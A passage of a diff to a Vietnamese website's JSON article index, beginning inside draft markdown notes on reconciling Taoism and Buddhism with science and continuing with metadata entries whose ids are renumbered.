thể nói là họ kiêu kiêu và ngụy biện, khi mục đích của Đạo giáo là để hết kiêu kiêu và ngụy biện?\n\nTức là cả hai bên nhìn nhau, khó chịu với nhau, nhưng đều không thể chỉ ra được bên kia sai ở đâu. Họ càng tìm ra lỗi sai, thì lỗi sai đó đều biến đi thành một hình thù khác, một lối diễn đạt khác. Cứ như thế mà luẩn quẩn không tới đâu. Thứ duy nhất còn đọng lại là một sự không thỏa mãn không thể giải tỏa được.\n![[inner-child.jpg]]\n\nKhi tôi nói là dự án này làm rõ những quan điểm của Đạo giáo theo kết quả khoa học, có phải ý tôi là khoa học đã đủ khả năng để giải thích được toàn bộ? Tôi xin được phép nói là có. Tuy nhiên, để có thể giải thích một cách triệt để và thỏa mãn cả hai bên, thì cần phải chú ý vào những lĩnh vực mà thị trường sách phổ biến kiến thức khoa học hiện nay chưa chú trọng để giới thiệu. Mà nếu thị trường đó đại diện cho những gì người trong ngành muốn người ngoài ngành biết, thì nó cũng có thể xem như những gì người làm khoa học nghĩ về những gì họ đang làm. Nói cách khác, chính những người làm về nó cũng cần thay đổi tư duy của mình. Còn nếu không, thì dù có thêm vô số những cuộc \"đối thoại Đông - Tây\" nữa, tôi nghĩ cũng sẽ không đi được tới đâu cả. Phải nhấn mạnh đến sự ghi nhớ, chú ý, và biến đổi nghĩa của từ mới mong tìm được một đột phá nào đó.\n\nKiến thức về khoa học lạc hậu\n\nCứ dựa vào lý lẽ khó giải thích, trong khi nếu đã nói là nắm được nguyên lý thì việc giải thích có gì đâu mà khó.\n\nĐây là những bài viết thể hiện những tìm tòi của tôi để đi tới đột phá đó:\n\n- Tại sao \"đúng sai miễn bàn\" lại không Ăn ż là quan điểm của Đạo giáo?\n- Tại sao Đạo giáo lại đề cao sự học?\n- Khi đạo sĩ gặp rối loạn tâm lý\n- Rắc rối của từ bi\n- Tóm tắt cuốn Vô vi như là một ẩn dụ tri nhận và lý tưởng tinh thần thời Chiến Quốc\n- Phản biện cuốn Cuộc cách mạng một cọng rơm\n- Bài tiếng Anh: Connections between\n\n⬛ Về mặt triết học\n\n- Tâm lý học hoặc khoa học nhận thức sẽ nói gì về quan niệm \"chỉ có cảm nhận trực tiếp mới cho ta hiểu biết trọn vẹn\"?\n- Ngôn ngữ học sẽ nói gì về quan niệm \"ngôn ngữ không thể diễn đạt chính xác\"?\n- Khoa học chính trị sẽ nói gì về các quan điểm của đạo gia và pháp gia?\n- Logic học sẽ nói gì về tứ cú trong đại thừa?\n- Các trường phái triết học khác nhau nói gì về quy luật nhân quả? Về thuyết âm dương? Về thuyết nhất nguyên?\n- Thông diễn học sẽ nói gì về việc nhận biết, đánh giá xem một người có ngộ đạo/giác ngộ hay không?\n- Vật lý sẽ nói về sắc như thế nào?\n- Duy thức học và khoa học nhận thức giống và khác nhau thế nào?\n- Trường phái hậu hiện đại sẽ nói gì về phật giáo? Diễn ngôn giải thoát và giác ngộ hoạt động như thế nào?\n\n⬛ Về mặt thực hành\n\n- Có những cuộc đối thoại nào giữa những người theo nguyên thuỷ và những người theo đại thừa nào về mâu thuẫn giữa hai phái mà làm cho mình học hỏi được nhiều nhất?\n- Thiền trong thiền tông, thiền trong nguyên thủy giống và khác nhau thế nào? Chánh niệm của phật giáo và chánh niệm trong quan điểm của Jon Kabat-Zinn khác nhau thế nào?\n- So với các hình thức trị liệu tâm lý khác, việc tu tập có hiệu quả như thế nào trong việc chữa lành?\n- Nếu như việc sử dụng triết học phương Đông cũng tuỳ vào sự phù hợp thời điểm, thì thời điểm nào là nó không phù hợp?\n- Các tôn giáo khác như Công giáo học tập Phật giáo như thế nào?\n\nTôi nghĩ nếu họ cảm thấy khoa học không bao giờ, xin mời họ thử một ngày làm những công việc liên quan đến nhân đạo. Ví dụ: công tác xã hội\n\n# Tránh từ Hán Việt\n\nKhông dùng duyên, mà dùng điều kiện\n\nKhông dùng khổ, mà dùng không như ý\n\n8 điều đúng đắn\n\n4 sự thật\n\nĐại thừa và Nguyên thuỷ đều cùng muốn theo ý Phật tổ\n\nKhi nào một thứ là duyên. Khi nào một thứ không phải là duyên\n\nThiếu cọ xát\n\n| | | |\n|---|---|---|\n||Tiểu thừa|Đại thừa|\n|Quan điểm tu|Tu theo La hán: cứu giúp chúng sinh ko phải là trách nhiệm|Tu theo Bồ tát: có trách nhiệm|\n|Nơi tu|Xuất thế: Đi ra khỏi nơi dơ|Nhập thế: Ở trong nơi dơ mới là giác ngộ|\n|Luân hồi|Không luân hồi. Chết là hết|Ở trong thế gian, trong khổ đau để thoát khổ đau|\n||Phật là có thật, và chỉ có một|Nhiều Phật, nhiều Bồ Tát|\n||Không quan tâm đến thế giới mơ hồ||\n||Ngã không, pháp có|Ngã, pháp đều không|\n|Niết bàn|là cảnh giới tuyệt đối vắng lặng, giải thoát, không còn khổ đau|là cảnh giới hoạt động trong khổ đau mà lòng không nhiễu động|\n|Ẩm thực|Ai cho gì ăn nấy, miễn là bản thân mình ko giết thì ăn|Ăn chay trường (phát tâm với cả động vật)|\n\nHết thảy thực không phải thực\n\nCũng vừa là thực, cũng vừa không phải thực\n\nKhông phải thực, không phải không phải thực\n\nẤy gọi là Pháp của chư Phật\n\nCó hai mâu thuẫn chính: giữa phật giáo nguyên thuỷ với đại thừa, và trong thiền tông\n\nTùy nhiên những người thực hành đi một hồi sẽ thấy những gì Đạo gia nói là có lý\n\nAnh đang uống bia sang bia đang uống em vậy.\n\n[Buddhism, The only real science](https://www.budsas.org/ebud/ebdha264.htm), [Đạo Phật giàu tính khoa học hơn khoa học hiện đại](https://www.facebook.com/notes/m%E1%BB%97i-tu%E1%BA%A7n-1-c%C3%B4ng-vi%E1%BB%87c/%C4%91%E1%BA%A1o-ph%E1%BA%ADt-gi%C3%A0u-t%C3%ADnh-khoa-h%E1%BB%8Dc-h%C6%A1n-khoa-h%E1%BB%8Dc-hi%E1%BB%87n-%C4%91%E1%BA%A1i/703813189791426)\n\nRất mong nhận được sự quan tâm, nhận xét, giúp đỡ của mọi người.\n\nNgăn chặn bạo hành trẻ em\n\n(Mình nói lời này không phải với tư cách admin, mà chỉ là thành viên mà thôi.)\n\nNhiều bạn trong đây chắc sẽ cảm thấy lạ khi mình lập ra nhóm triết phương Đông mà tư duy lại sặc tính phương Tây. Chính xác, đây chính là điều các bạn đang căm ghét. Các bạn cho rằng tư duy Tây phương là lầm lạc, là lạc trong mê cung, thì yep, mình sẽ làm đúng như vậy. Mình cho rằng, các bạn thật ra chỉ đang sợ hãi bước vào mê cung mà thôi. Các bạn gọi tư duy của mình là gì cũng được: thiền, ngộ, đạo, v.v. Nếu các bạn quả thật có thiền, ngộ, đạo, thì tại sao mê cung lại khiến các bạn sợ đến như thế? Vì nếu các bạn không sợ mê cung và dám bước vào trong đó, thì các bạn cũng chẳng lấy làm phiền lòng khi người khác cũng ở trong mê cung.\n\nCác bạn muốn cảnh tỉnh về tác hại của tư duy phương Tây? Mình cũng thấy những tác hại của nó, và mình cũng đồng ý với các bạn về sự cảnh tỉnh này. Nhưng mình nói thật lòng thế này: cách các bạn làm sẽ không đi tới đâu. Các bạn muốn phê phán nó, thì ít nhất các bạn cũng phải hiểu nó nói gì về chính mình đã. Thứ các bạn mô tả về tư duy phương Tây, bản thân nó không mô tả mình như vậy. Với nó, thứ các bạn đang mô tả là hời hợt, thô sơ, nông cạn, méo mó. Nó không phải đồ ngu, và nó luôn luôn phản tư chính mình, luôn luôn phê phán chính mình. Chỉ cần một chút xíu xem thường nó thôi, thì chính các bạn đã trở thành nạn nhân của nó rồi. Các bạn phải luôn luôn xem trọng nó, như thể phương Đông và phương Tây ngang bằng nhau, như thể phương Đông và phương Tây là một. Chỉ có như thế, các bạn mới thoát khỏi được \"tư duy phương Tây\".\n\nTrong cuộc chiến giữa (một cuộc chiến mà tôi đến giờ vẫn không hiểu tại sao lại cí mặt, không biết \"phe\" nào đã khởi xướng nó), thì tư duy phương Tay chưa bao giờ làm tôi thất vọng Ngược lại, tôi thấy \"phe\" phương Đông như đang dựng một bù nhìn rơm rồi đấm lung tung vào đí\n\n- Những cách hiểu sai về Đạo, và bản chất của sự nhập nhằng đó (Đạo giáo và ngữ nghĩa học)\n- Mối tương tác của Đạo giáo với rối loạn tâm lý (Đạo giáo và tâm lý học trị liệu)\n- Bản chất của \"Đạo khả đạo phi thường đạo\" (và các quan niệm khác của Đạo giáo) là gì? (Đạo giáo và khoa học nhận thức", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-31T18:45:00.000Z", - "Ngày cập nhật": "2024-08-31T18:47:00.000Z", - "id": "fw" + "Ngày cập nhật": "2024-09-02T17:27:00.000Z", + "id": "jn" }, { "Tiêu đề": "Học toán để làm gì", @@ -43266,7 +46921,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-12T07:29:00.000Z", "Ngày cập nhật": "2024-08-12T07:32:00.000Z", - "id": "fx" + "id": "jo" }, { "Tiêu đề": "Làm sao để giỏi toán", @@ -43283,7 +46938,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-12T10:00:00.000Z", "Ngày cập nhật": "2024-08-13T01:18:00.000Z", - "id": "fy" + "id": "jp" }, { "Tiêu đề": "Toán học là nghệ thuật đặt ra những cái tên khác nhau cho cùng một thứ", @@ -43300,7 +46955,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-12T07:57:00.000Z", "Ngày cập nhật": "2024-08-12T08:00:00.000Z", - "id": "fz" + "id": "jq" }, { "Tiêu đề": "Trả lời các câu hỏi cho vật lý luận", @@ -43317,7 +46972,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-03T12:47:00.000Z", "Ngày cập nhật": "2024-08-11T15:01:00.000Z", - "id": "f-" + "id": "jr" }, { "Tiêu đề": "Xoá bỏ sự bắt nạt đối với người có hứng thú đóng góp và sáng tạo nhưng không có điều kiện để được đào tạo bài bản", @@ -43334,7 +46989,7 @@ "Phương thức tạo": "Cào vault", "Ngày tạo": "2024-08-08T04:46:00.000Z", "Ngày cập nhật": "2024-08-13T02:46:00.000Z", - "id": "f_" + "id": "js" }, { "Tiêu đề": "Chuyện Tiểu Cúc", @@ -43347,7 +47002,7 @@ "Slug": "chuyen-tieu-cuc", "Ngày tạo": "2019-08-08T14:58:56.000Z", "Ngày cập nhật": "2021-05-13T10:48:36.000Z", - "id": "g0" + "id": "jt" }, { "Tiêu đề": "Tại sao Đạo gia lại đề cao sự học?", @@ -43360,7 +47015,7 @@ "Slug": "tai-sao-dao-gia-lai-de-cao-su-hoc", "Ngày tạo": "2019-08-08T15:53:57.000Z", "Ngày cập nhật": "2020-05-31T07:19:55.000Z", - "id": "g1" + "id": "ju" }, { "Tiêu đề": "Con mắt lạnh như băng", @@ -43373,7 +47028,7 @@ "Slug": "con-mat-lanh-nhu-bang", "Ngày tạo": "2019-08-08T17:08:49.000Z", "Ngày cập nhật": "2021-11-26T12:13:30.000Z", - "id": "g2" + "id": "jv" }, { "Tiêu đề": "Chuyện gì sẽ xảy ra nếu...?", @@ -43386,7 +47041,7 @@ "Slug": "chuyen-gi-se-xay-ra-neu", "Ngày tạo": "2019-08-08T18:59:39.000Z", "Ngày cập nhật": "2021-04-09T08:22:13.000Z", - "id": "g3" + "id": "jw" }, { "Tiêu đề": "Rối loạn nhân cách tâm trạng không ổn định", @@ -43399,7 +47054,7 @@ "Slug": "roi-loan-nhan-cach-tam-trang-khong-on-dinh", "Ngày tạo": "2019-08-09T05:08:18.000Z", "Ngày cập nhật": "2020-06-02T07:02:27.000Z", - "id": "g4" + "id": "jx" }, { "Tiêu đề": "Tranh luận hiền hòa", @@ -43412,7 +47067,7 @@ "Slug": "tranh-luan-hien-hoa", "Ngày tạo": "2019-08-09T05:20:49.000Z", "Ngày cập nhật": "2021-08-23T17:42:18.000Z", - "id": "g5" + "id": "jy" }, { "Tiêu đề": "Nơi cuối trời", @@ -43425,7 +47080,7 @@ "Slug": "noi-cuoi-troi", "Ngày tạo": "2019-08-09T05:27:27.000Z", "Ngày cập nhật": "2021-02-23T13:10:57.000Z", - "id": "g6" + "id": "jz" }, { "Tiêu đề": "Truyện cười vật lý", @@ -43438,7 +47093,7 @@ "Slug": "truyen-cuoi-vat-ly", "Ngày tạo": "2019-08-09T05:37:20.000Z", "Ngày cập nhật": "2021-02-24T16:19:06.000Z", - "id": "g7" + "id": "j-" }, { "Tiêu đề": "EUPD: xem thêm", @@ -43451,7 +47106,7 @@ "Slug": "eupd-xem-them", "Ngày tạo": "2019-08-09T18:13:49.000Z", "Ngày cập nhật": "2023-11-08T14:23:48.000Z", - "id": "g8" + "id": "j_" }, { "Tiêu đề": "Bộ sưu tập từ điển chuyên ngành", @@ -43464,7 +47119,7 @@ "Slug": "tu-dien-chuyen-nganh", "Ngày tạo": "2019-08-11T09:23:46.000Z", "Ngày cập nhật": "2024-01-10T07:21:34.000Z", - "id": "g9" + "id": "k0" }, { "Tiêu đề": "Máy trợ thính", @@ -43477,7 +47132,7 @@ "Slug": "may-tro-thinh", "Ngày tạo": "2019-08-11T17:59:21.000Z", "Ngày cập nhật": "2021-02-24T16:18:30.000Z", - "id": "gA" + "id": "k1" }, { "Tiêu đề": "Ru em ngủ", @@ -43490,7 +47145,7 @@ "Slug": "ru-em-ngu", "Ngày tạo": "2019-08-23T14:42:48.000Z", "Ngày cập nhật": "2021-02-23T13:11:23.000Z", - "id": "gB" + "id": "k2" }, { "Tiêu đề": "Kết luận", @@ -43503,7 +47158,7 @@ "Slug": "ccmmcr-ket-luan", "Ngày tạo": "2019-08-25T18:00:54.000Z", "Ngày cập nhật": "2021-04-16T16:18:54.000Z", - "id": "gC" + "id": "k3" }, { "Tiêu đề": "Phần 3: Khoa học có trong những triết lý của ông ấy", @@ -43516,7 +47171,7 @@ "Slug": "phan-3-khoa-hoc-co-trong-nhung-triet-ly-cua-ong-ay", "Ngày tạo": "2019-08-26T13:32:08.000Z", "Ngày cập nhật": "2021-03-31T08:49:58.000Z", - "id": "gD" + "id": "k4" }, { "Tiêu đề": "Phần 2: Thứ ông ấy làm lại là khoa học đúng nghĩa", @@ -43529,7 +47184,7 @@ "Slug": "phan-2-thu-ong-ay-lam-lai-la-khoa-hoc-dung-nghia", "Ngày tạo": "2019-08-26T14:44:31.000Z", "Ngày cập nhật": "2021-03-31T08:44:31.000Z", - "id": "gE" + "id": "k5" }, { "Tiêu đề": "Phần 1: Thứ ông ấy nghĩ không phải là khoa học đúng nghĩa", @@ -43542,7 +47197,7 @@ "Slug": "phan-1-thu-ong-ay-nghi-khong-phai-la-khoa-hoc-dung-nghia", "Ngày tạo": "2019-08-26T15:03:57.000Z", "Ngày cập nhật": "2021-04-12T22:24:04.000Z", - "id": "gF" + "id": "k6" }, { "Tiêu đề": "Phản biện cuốn Cuộc cách mạng một-cọng-rơm", @@ -43555,7 +47210,7 @@ "Slug": "phan-bien-cuon-cuoc-cach-mang-mot-cong-rom", "Ngày tạo": "2019-08-27T07:41:30.000Z", "Ngày cập nhật": "2021-03-22T09:48:42.000Z", - "id": "gG" + "id": "k7" }, { "Tiêu đề": "Cần bạn trợ giúp: kháng nghị Facebook", @@ -43568,7 +47223,7 @@ "Slug": "can-ban-tro-giup-khang-nghi-facebook", "Ngày tạo": "2019-09-06T08:29:04.000Z", "Ngày cập nhật": "2019-09-06T08:29:04.000Z", - "id": "gH" + "id": "k8" }, { "Tiêu đề": "Phản hồi của người dịch: bạn đọc sách không thấm rồi", @@ -43581,7 +47236,7 @@ "Slug": "phan-hoi-cua-nguoi-dich-ban-doc-sach-khong-tham-roi", "Ngày tạo": "2019-09-06T16:52:24.000Z", "Ngày cập nhật": "2021-04-16T16:11:11.000Z", - "id": "gI" + "id": "k9" }, { "Tiêu đề": "Rắc rối của từ bi (bản ngắn)", @@ -43594,7 +47249,7 @@ "Slug": "rac-roi-cua-tu-bi-ban-ngan", "Ngày tạo": "2019-09-23T13:45:27.000Z", "Ngày cập nhật": "2020-05-27T13:41:44.000Z", - "id": "gJ" + "id": "kA" }, { "Tiêu đề": "Khi đạo sĩ gặp rối loạn tâm lý", @@ -43607,7 +47262,7 @@ "Slug": "khi-dao-si-gap-roi-loan-tam-ly", "Ngày tạo": "2019-10-01T17:32:06.000Z", "Ngày cập nhật": "2020-08-10T14:02:59.000Z", - "id": "gK" + "id": "kB" }, { "Tiêu đề": "Ví dụ về sự tương tác giữa Đạo gia và rối loạn tâm lý", @@ -43620,7 +47275,7 @@ "Slug": "vi-du-ve-su-tuong-tac-giua-dao-gia-va-roi-loan-tam-ly", "Ngày tạo": "2019-10-01T17:51:53.000Z", "Ngày cập nhật": "2020-12-11T17:26:57.000Z", - "id": "gL" + "id": "kC" }, { "Tiêu đề": "Mối quan hệ của một bông hoa chết", @@ -43633,7 +47288,7 @@ "Slug": "moi-quan-he-cua-mot-bong-hoa-chet", "Ngày tạo": "2019-10-01T18:14:55.000Z", "Ngày cập nhật": "2020-11-05T17:56:09.000Z", - "id": "gM" + "id": "kD" }, { "Tiêu đề": "Kết luận", @@ -43646,7 +47301,7 @@ "Slug": "bong-hoa-chet-ket-luan", "Ngày tạo": "2019-10-01T18:20:23.000Z", "Ngày cập nhật": "2020-05-27T14:13:57.000Z", - "id": "gN" + "id": "kE" }, { "Tiêu đề": "Trăm năm khép lại", @@ -43659,7 +47314,7 @@ "Slug": "tram-nam-khep-lai", "Ngày tạo": "2019-10-13T15:32:24.000Z", "Ngày cập nhật": "2021-02-24T16:17:28.000Z", - "id": "gO" + "id": "kF" }, { "Tiêu đề": "Nghiên cứu khoa học phong cách truyện tranh", @@ -43672,7 +47327,7 @@ "Slug": "nghien-cuu-khoa-hoc-phong-cach-truyen-tranh", "Ngày tạo": "2019-10-20T17:19:29.000Z", "Ngày cập nhật": "2021-02-24T16:17:18.000Z", - "id": "gP" + "id": "kG" }, { "Tiêu đề": "Rắc rối của từ bi", @@ -43685,7 +47340,7 @@ "Slug": "rac-roi-cua-tu-bi", "Ngày tạo": "2019-10-27T08:34:42.000Z", "Ngày cập nhật": "2021-05-09T07:05:41.000Z", - "id": "gQ" + "id": "kH" }, { "Tiêu đề": "Giải pháp", @@ -43698,7 +47353,7 @@ "Slug": "giai-phap", "Ngày tạo": "2019-10-27T08:43:44.000Z", "Ngày cập nhật": "2020-05-28T10:26:09.000Z", - "id": "gR" + "id": "kI" }, { "Tiêu đề": "Rắc rối 3: Người ngoài không hiểu bạn", @@ -43711,7 +47366,7 @@ "Slug": "rac-roi-3-nguoi-ngoai-khong-hieu-ban", "Ngày tạo": "2019-10-27T09:03:58.000Z", "Ngày cập nhật": "2020-05-28T10:38:12.000Z", - "id": "gS" + "id": "kJ" }, { "Tiêu đề": "Rắc rối 2: Phải chịu những hậu quả của dính mắc mặc dù mình không có", @@ -43724,7 +47379,7 @@ "Slug": "rac-roi-2-phai-chiu-nhung-hau-qua-cua-dinh-mac-mac-du-minh-khong-co", "Ngày tạo": "2019-10-27T11:46:52.000Z", "Ngày cập nhật": "2020-05-28T10:46:38.000Z", - "id": "gT" + "id": "kK" }, { "Tiêu đề": "Rắc rối 1: Bị nói là không biết tôn trọng sự khó chịu của họ", @@ -43737,7 +47392,7 @@ "Slug": "rac-roi-1-bi-noi-la-khong-biet-ton-trong-su-kho-chiu-cua-ho", "Ngày tạo": "2019-10-27T11:50:54.000Z", "Ngày cập nhật": "2021-03-05T19:54:20.000Z", - "id": "gU" + "id": "kL" }, { "Tiêu đề": "Độc giả Quả Cầu là ai?", @@ -43750,7 +47405,7 @@ "Slug": "doc-gia-qua-cau-la-ai", "Ngày tạo": "2019-11-01T15:13:02.000Z", "Ngày cập nhật": "2021-02-23T01:01:25.000Z", - "id": "gV" + "id": "kM" }, { "Tiêu đề": "Bộ thẻ học từ vựng tiếng Anh nâng cao (GRE)", @@ -43763,7 +47418,7 @@ "Slug": "bo-the-hoc-tu-vung-tieng-anh-nang-cao", "Ngày tạo": "2019-11-21T06:54:39.000Z", "Ngày cập nhật": "2022-04-08T17:47:41.000Z", - "id": "gW" + "id": "kN" }, { "Tiêu đề": "Tại sao Nho gia cũng là một trường phái để đạt tới vô vi?", @@ -43776,7 +47431,7 @@ "Slug": "tai-sao-nho-gia-cung-la-mot-truong-phai-de-dat-toi-vo-vi", "Ngày tạo": "2019-11-25T10:17:14.000Z", "Ngày cập nhật": "2021-09-20T08:43:33.000Z", - "id": "gX" + "id": "kO" }, { "Tiêu đề": "Tại sao \"đúng sai miễn bàn\" lại không phải là quan điểm của Đạo giáo?", @@ -43789,7 +47444,7 @@ "Slug": "tai-sao-dung-sai-mien-ban-lai-khong-phai-la-quan-diem-cua-dao-giao", "Ngày tạo": "2019-12-05T05:53:03.000Z", "Ngày cập nhật": "2020-05-28T17:32:30.000Z", - "id": "gY" + "id": "kP" }, { "Tiêu đề": "Các phần mềm hữu ích", @@ -43802,7 +47457,7 @@ "Slug": "cac-phan-mem-huu-ich", "Ngày tạo": "2019-12-09T14:35:02.000Z", "Ngày cập nhật": "2022-03-14T19:07:31.000Z", - "id": "gZ" + "id": "kQ" }, { "Tiêu đề": "500 nhóm Facebook hay", @@ -43815,7 +47470,7 @@ "Slug": "cac-nhom-facebook-hay", "Ngày tạo": "2019-12-17T13:57:36.000Z", "Ngày cập nhật": "2021-08-30T05:21:20.000Z", - "id": "ga" + "id": "kR" }, { "Tiêu đề": "Duy vật lý dưới góc nhìn của vật lý và tâm lý học nhận thức", @@ -43828,7 +47483,7 @@ "Slug": "duy-vat-ly-duoi-goc-nhin-cua-vat-ly-va-tam-ly-hoc-nhan-thuc", "Ngày tạo": "2019-12-22T16:29:58.000Z", "Ngày cập nhật": "2021-03-31T13:00:42.000Z", - "id": "gb" + "id": "kS" }, { "Tiêu đề": "Câu chuyện của Tiểu Cúc với người trăm năm", @@ -43841,7 +47496,7 @@ "Slug": "cau-chuyen-cua-tieu-cuc-voi-nguoi-tram-nam", "Ngày tạo": "2019-12-25T20:34:20.000Z", "Ngày cập nhật": "2021-05-13T11:19:05.000Z", - "id": "gc" + "id": "kT" }, { "Tiêu đề": "Khi sự giúp đỡ trông như cưỡng ép", @@ -43854,7 +47509,7 @@ "Slug": "khi-su-giup-do-trong-nhu-cuong-ep", "Ngày tạo": "2019-12-31T06:30:04.000Z", "Ngày cập nhật": "2021-02-22T17:06:22.000Z", - "id": "gd" + "id": "kU" }, { "Tiêu đề": "Anh Nguyễn Dương Minh gửi: Rắc rối của từ bi", @@ -43867,7 +47522,7 @@ "Slug": "anh-nguyen-duong-minh-gui-rac-roi-cua-tu-bi", "Ngày tạo": "2020-01-06T06:22:21.000Z", "Ngày cập nhật": "2022-04-21T10:43:22.000Z", - "id": "ge" + "id": "kV" }, { "Tiêu đề": "Bạn Đoàn Phương Thảo gửi: Chuyện Tiểu Cúc", @@ -43880,7 +47535,7 @@ "Slug": "ban-doan-phuong-thao-gui-chuyen-tieu-cuc", "Ngày tạo": "2020-01-05T16:57:39.000Z", "Ngày cập nhật": "2021-02-24T16:14:37.000Z", - "id": "gf" + "id": "kW" }, { "Tiêu đề": "Giải quyết nhiều hiểu lầm, ngộ nhận và niềm tin sai phổ biến, một lần cho mãi mãi", @@ -43893,7 +47548,7 @@ "Slug": "giai-quyet-nhieu-hieu-lam-ngo-nhan-va-niem-tin-sai-pho-bien-mot-lan-cho-mai-mai", "Ngày tạo": "2020-01-09T18:10:27.000Z", "Ngày cập nhật": "2021-03-31T07:54:05.000Z", - "id": "gg" + "id": "kX" }, { "Tiêu đề": "Bản ngã là gì nếu không phải là sự chú ý?", @@ -43906,7 +47561,7 @@ "Slug": "ban-nga-la-gi-neu-khong-phai-la-su-chu-y", "Ngày tạo": "2020-01-10T15:36:44.000Z", "Ngày cập nhật": "2021-03-06T20:05:27.000Z", - "id": "gh" + "id": "kY" }, { "Tiêu đề": "Thử xây dựng lại Đạo giáo từ khoa học hiện đại", @@ -43919,7 +47574,7 @@ "Slug": "thu-xay-dung-lai-dao-giao-tu-khoa-hoc-hien-dai", "Ngày tạo": "2020-01-10T15:58:45.000Z", "Ngày cập nhật": "2021-12-21T09:07:18.000Z", - "id": "gi" + "id": "kZ" }, { "Tiêu đề": "Bạn Nguyễn Trần Anh gửi: Chuyện Tiểu Cúc | Một lời đáp", @@ -43932,7 +47587,7 @@ "Slug": "ban-nguyen-tran-anh-gui-chuyen-tieu-cuc-mot-loi-dap", "Ngày tạo": "2020-01-13T08:46:48.000Z", "Ngày cập nhật": "2021-02-24T15:48:57.000Z", - "id": "gj" + "id": "ka" }, { "Tiêu đề": "Hướng dẫn trợ giúp", @@ -43945,7 +47600,7 @@ "Slug": "huong-dan-tro-giup", "Ngày tạo": "2020-01-14T17:44:38.000Z", "Ngày cập nhật": "2020-01-14T17:44:38.000Z", - "id": "gk" + "id": "kb" }, { "Tiêu đề": "Ratatouille – những góc nhìn chưa từng có", @@ -43958,7 +47613,7 @@ "Slug": "ratatouille", "Ngày tạo": "2020-01-31T16:44:43.000Z", "Ngày cập nhật": "2021-12-28T15:11:41.000Z", - "id": "gl" + "id": "kc" }, { "Tiêu đề": "CV người sáng lập", @@ -43971,7 +47626,7 @@ "Slug": "cv", "Ngày tạo": "2020-02-10T15:11:35.000Z", "Ngày cập nhật": "2022-09-16T09:41:02.000Z", - "id": "gm" + "id": "kd" }, { "Tiêu đề": "Xưng hô trong tình yêu", @@ -43984,7 +47639,7 @@ "Slug": "xung-ho-trong-tinh-yeu", "Ngày tạo": "2020-02-14T13:40:06.000Z", "Ngày cập nhật": "2021-03-05T11:37:36.000Z", - "id": "gn" + "id": "ke" }, { "Tiêu đề": "Đôi khi", @@ -43997,7 +47652,7 @@ "Slug": "doi-khi", "Ngày tạo": "2020-02-26T04:58:48.000Z", "Ngày cập nhật": "2021-02-23T13:16:53.000Z", - "id": "go" + "id": "kf" }, { "Tiêu đề": "Biết chửi thề trước khi biết nói", @@ -44010,7 +47665,7 @@ "Slug": "biet-chui-the-truoc-khi-biet-noi", "Ngày tạo": "2020-03-05T13:33:21.000Z", "Ngày cập nhật": "2021-03-31T12:41:26.000Z", - "id": "gp" + "id": "kg" }, { "Tiêu đề": "Tham gia cùng Quả Cầu", @@ -44023,7 +47678,7 @@ "Slug": "tham-gia-cung-qua-cau", "Ngày tạo": "2020-03-07T16:01:43.000Z", "Ngày cập nhật": "2023-07-03T14:47:26.000Z", - "id": "gq" + "id": "kh" }, { "Tiêu đề": "Khi nào ta cần phải tác động? Khi nào sự cứng rắn là cần thiết?", @@ -44036,7 +47691,7 @@ "Slug": "khi-nao-su-tac-dong-la-can-thiet", "Ngày tạo": "2020-03-15T15:42:23.000Z", "Ngày cập nhật": "2021-06-29T10:54:29.000Z", - "id": "gr" + "id": "ki" }, { "Tiêu đề": "Làm sao để biết chắc chắn mình đúng? Nhỡ đâu chính mình mới có bóp méo?", @@ -44049,7 +47704,7 @@ "Slug": "lam-sao-de-biet-chac-chan-minh-dung", "Ngày tạo": "2020-03-15T15:54:35.000Z", "Ngày cập nhật": "2021-02-24T15:11:12.000Z", - "id": "gs" + "id": "kj" }, { "Tiêu đề": "Quyền thay đổi niềm tin của người khác", @@ -44062,7 +47717,7 @@ "Slug": "quyen-thay-doi-niem-tin-cua-nguoi-khac", "Ngày tạo": "2020-03-15T18:38:05.000Z", "Ngày cập nhật": "2021-02-24T15:10:49.000Z", - "id": "gt" + "id": "kk" }, { "Tiêu đề": "Làm sao để không cảm thấy ngại khi hành động?", @@ -44075,7 +47730,7 @@ "Slug": "lam-sao-de-khong-cam-thay-ngai-khi-hanh-dong", "Ngày tạo": "2020-03-24T16:19:12.000Z", "Ngày cập nhật": "2021-02-24T15:11:07.000Z", - "id": "gu" + "id": "kl" }, { "Tiêu đề": "Bản kế hoạch chiến lược dự án Quả Cầu", @@ -44088,7 +47743,7 @@ "Slug": "ban-ke-hoach-chien-luoc-du-an-qua-cau", "Ngày tạo": "2020-03-25T08:00:21.000Z", "Ngày cập nhật": "2023-07-03T13:59:51.000Z", - "id": "gv" + "id": "km" }, { "Tiêu đề": "love is more thicker than forget", @@ -44101,7 +47756,7 @@ "Slug": "love-is-more-thicker-than-forget", "Ngày tạo": "2020-04-02T15:35:48.000Z", "Ngày cập nhật": "2020-04-02T15:35:48.000Z", - "id": "gw" + "id": "kn" }, { "Tiêu đề": "Trung Quán Minh Cú Luận, bản tiếng Pháp", @@ -44114,7 +47769,7 @@ "Slug": "trung-quan-minh-cu-luan-ban-tieng-phap", "Ngày tạo": "2020-04-06T07:08:07.000Z", "Ngày cập nhật": "2021-02-23T13:17:09.000Z", - "id": "gx" + "id": "ko" }, { "Tiêu đề": "Một số suy nghĩ từ dự án Chữ VN Song Song", @@ -44127,7 +47782,7 @@ "Slug": "mot-so-suy-nghi-tu-du-an-chu-vn-song-song", "Ngày tạo": "2020-04-07T16:02:57.000Z", "Ngày cập nhật": "2021-05-20T10:17:21.000Z", - "id": "gy" + "id": "kp" }, { "Tiêu đề": "Chìa khóa học cách phát âm", @@ -44140,7 +47795,7 @@ "Slug": "chia-khoa-hoc-cach-phat-am", "Ngày tạo": "2020-04-07T17:33:51.000Z", "Ngày cập nhật": "2021-03-31T12:59:23.000Z", - "id": "gz" + "id": "kq" }, { "Tiêu đề": "Một suy nghĩ về lập trình ngôn ngữ tư duy (NLP)", @@ -44153,7 +47808,7 @@ "Slug": "lap-trinh-ngon-ngu-tu-duy-nlp", "Ngày tạo": "2020-04-11T16:39:19.000Z", "Ngày cập nhật": "2021-09-13T11:23:14.000Z", - "id": "g-" + "id": "kr" }, { "Tiêu đề": "Tinh thần Quả Cầu", @@ -44166,7 +47821,7 @@ "Slug": "tinh-than-qua-cau", "Ngày tạo": 